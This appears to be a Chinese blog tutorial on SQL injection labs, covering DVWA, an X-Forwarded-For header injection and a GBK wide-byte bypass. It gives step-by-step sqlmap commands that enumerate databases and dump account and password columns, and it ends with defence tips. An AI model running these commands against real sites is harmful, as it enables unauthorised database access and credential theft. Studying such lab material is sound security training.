Web安全 SQL注入漏洞 工具测试.
2023-09-27 14:29:29 时间
Web安全 SQL注入漏洞测试.
SQL注入就是 有些恶意用户在提交查询请求的过程中 将SQL语句插入到请求内容中,同时程序的本身对用户输入的内容过于相信,没有对用户插入的SQL语句进行任何的过滤,从而直接被SQL语句直接被服务端执行,导致数据库的原有信息泄露,篡改,甚至被删除等风险。
目录:
(1)找到注入点并进行 SQL注入测试,获取数据库中的管理员账号和密码.(含有 cookie 注入)
(2)通过伪造 http 头部信息,绕过服务器对于 ip 地址的限制,再找到注入点 拿到账号和密码.(保存在文件中的注入点.)
(3)登录界面 存在 sql 宽字节注入漏洞,尝试输入特殊字符,使页面报错,验证其存在 sql 注入,然后 利用宽字节注入漏洞找到登录的账号和密码.
免责声明:
严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。
SQL注入漏洞 工具测试:
(1)找到注入点并进行 SQL注入测试,获取数据库中的管理员账号和密码.(含有 cookie 注入)
第一步:找到注入点并进行 SQL注入测试,进行输入命令并且显示站点所有数据库.
sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5" --batch --dbs
【--cookie=""】:如果需要登录,则需要添加用户凭证 cookie
【--batch 】:默认sqlmap工具提出的(是否)为:y
【--dbs】:显示站点所有数据库
第二步:数据库中的所有的表显示出来.
sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5"
--batch --tables -D "dvwa"
【--tables -D "dvwa"】:把dvwa数据库中的所有的表显示出来.
第三步:把表中的所有列显示出来
sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5"
--batch --columns -T 'users'
【-columns -T 'users'】:把users表中的所有列显示出来.
第四步:把列的中的内容显示出来
sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5"
--batch --dump -C "user,password"
【--dump -C "user,password"】:把user 和 password 列的中的内容显示出来.
(2)通过伪造 http 头部信息,绕过服务器对于 ip 地址的限制,再找到注入点 拿到账号和密码.(保存在文件中的注入点.)
第一步:来到登录页面.
第二步:随便输入一个账号和密码.
发现登录失败.
第三步:用Burp抓包.
添加:x-forwarded-for:1.1.1.1
发现返回的是自己的添加地址1.1.1.1(说明:这里有SQL注入)
第四步:添加 x-forwarded-for:* // 保存为txt文件.
添加:x-forwarded-for:* 保存为txt文件.
第五步:用sqlmap扫描 保存的 1.txt 文件.
命令:sqlmap -r /root/1.txt --batch --current-db
【--batch 】:默认sqlmap工具提出的(是否)为:y
【--current-db】:显示当前使用的数据库.
第六步:查看数据库中的所有的表.
命令:sqlmap -r /root/1.txt --batch --tables -D "webcalendar"
【--tables -D "webcalendar"】:把webcalendar数据库中的所有的表显示出来.
第七步:查看表中所有的列表.
命令:sqlmap -r /root/1.txt --batch --columns -T "user"
【--columns -T 'user'】:把user表中的所有列显示出来.
第八步:查看列表中的内容
命令:sqlmap -r /root/1.txt --batch --dump -C "username,password"
【--dump -C "username,password"】把 username 和 password 列的中的内容显示出来.
第九步:有账号和密码去登录就可以拿到flag .
(3)登录界面 存在 sql 宽字节注入漏洞,尝试输入特殊字符,使页面报错,验证其存在 sql 注入,然后 利用宽字节注入漏洞找到登录的账号和密码.
第一步:来到登录页面.
试过随便填账号密码,发现不行. (然后查看页面源代码,发现有一条超链接.)
第二步: 文本超链接在这然后点击.
第三步:输入 %df',使页面报错. (验证存在 SQL宽字节注入漏洞)
SQL宽字节注入原理分析:
addslashes() 这个函数会:
将' 转义为 \ gbk编码的时候 %df 和 \ 的编码 %5c 合并为一个字符運从而 ' 可以逃逸
第四步:使用sqlmap(sqlmap中也宽字节插件)
命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1"
--tamper=unmagicquotes.py --batch --dbs
【--tamper=unmagicquotes.py】是:sqlmap中的宽字节插件
【--dbs】是:显示所有数据库.
第五步:查看 mozhe_discuz_stormgroup 数据库中的所有表.
命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1"
--tamper=unmagicquotes.py --batch --tables -D "mozhe_discuz_stormgroup"
【--tables -D "mozhe_discuz_stormgroup"】:
把 mozhe_discuz_stormgroup 数据库中的所有的表显示出来.
第六步:查看这个二个 notice ,stormgroup_member 表中的内容
命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1"
--tamper=unmagicquotes.py --batch --columns -T "notice,stormgroup_member"
【--columns -T "notice,stormgroup_member"】:
把 notice 和 stormgroup_member 表中的所有列显示出来.
第七步:我们发现 stormgroup_member 表中有账号和密码的列,所有我们查看 stormgroup_member 的内容
命令: sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1"
--tamper=unmagicquotes.py --batch --dump -C "name,password"
【--dump -C "name,password"】:
把 name 和 password 列的中的内容显示出来.
第八步:用 md5解密 就行.( 然后用账号和密码去登录就行 )
SQL注入的防御:
(1)应尽可能用服务器的数据库权限降至最低.
(2)尽可能对进入数据库的特殊字符进行转义处理,或编码转换.
(3)尽可能在检测的时候使用专门的 SQL 注入检测工具进行检测.
(4)尽可能避免网站打印出 SQL 错误信息,比如类型错误、字段不匹配等等.
(5)尽可能在查询语句时,不要直接将用户输入变量直接拼接 SQL 语句中.(可以使用数据库提供的参数化查询接口)
相关文章
- kali 漏洞篇-SQL注入 学习笔记
- SQLiScanner:又一款基于SQLMAP和Charles的被动SQL 注入漏洞扫描工具
- 思维导图----3、SQL注入漏洞
- web渗透测试----26、SQL注入漏洞--(1)原理篇
- OpenEXR多个高危漏洞通告
- VMware vCenter Server 任意文件读取漏洞通告
- CVE-2020-10882: TP-Link 命令注入漏洞通告
- 【Scan kit】Sechunter针对统一扫码SDK扫出漏洞该如何解决?
- Android WebView的Js对象注入漏洞解决方案
- 《Web应用漏洞侦测与防御:揭秘鲜为人知的攻击手段和防御技术》——第 2 章 HTML 注入及跨站脚本攻击
- 谷歌公布Windows一个严重漏洞
- 路由器现新漏洞:黑客远程劫持网络连接
- 中国电信某站点JBOSS任意文件上传漏洞
- 【POC】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞-POC
- 蚂蚁金服安全应急响应中心上线 用户可提交漏洞
- 浅析如何防范HTTP报头trace方法追踪漏洞、如何防范网络传输安全(中间人劫持、接口加签加密防重放)
- 漏洞预警:MySQL代码执行0-day漏洞 可本地提权
- sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)